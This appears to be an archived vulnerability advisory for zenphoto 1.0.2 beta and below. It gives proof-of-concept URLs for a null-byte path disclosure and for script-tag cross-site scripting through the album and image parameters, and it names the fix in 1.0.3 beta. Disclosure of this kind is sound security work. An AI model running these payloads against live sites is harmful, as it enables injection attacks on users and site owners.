AOH :: HP Unsorted Z :: B06-5174.HTM

zenphoto Multiple Path Disclosure and Cross Site Scripting Vulnerabilities



zenphoto Multiple Path Disclosure and Cross Site Scripting Vulnerabilities
zenphoto Multiple Path Disclosure and Cross Site Scripting Vulnerabilities



Vendor: zenphoto
Vulnerable: zenphoto 1.0.2 beta and below

The vendor has been warned and the vulnerabilities have been addressed in 1.0.3 beta.

Path Disclosure
---------------
http://www.example.com/photos/zen/i.php?a=EXISTING_ALBUM_NAME&i=EXISTING_IMAGE_NAME&s=thumb%00 

which returns:

Warning: imagecreatetruecolor() [function.imagecreatetruecolor]: Invalid image dimensions in /path/photos/zen/i.php on line 85...

Cross Site Scripting
--------------------
http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAME%00%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E 
http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAMEℑ=EXISTING_IMAGE_NAME%00%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3Eaaaa 

Solution
--------
Update to 1.0.3 beta

Original advisory
-----------------
http://zone14.free.fr/advisories/4/ 

--Raphael HUCK

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.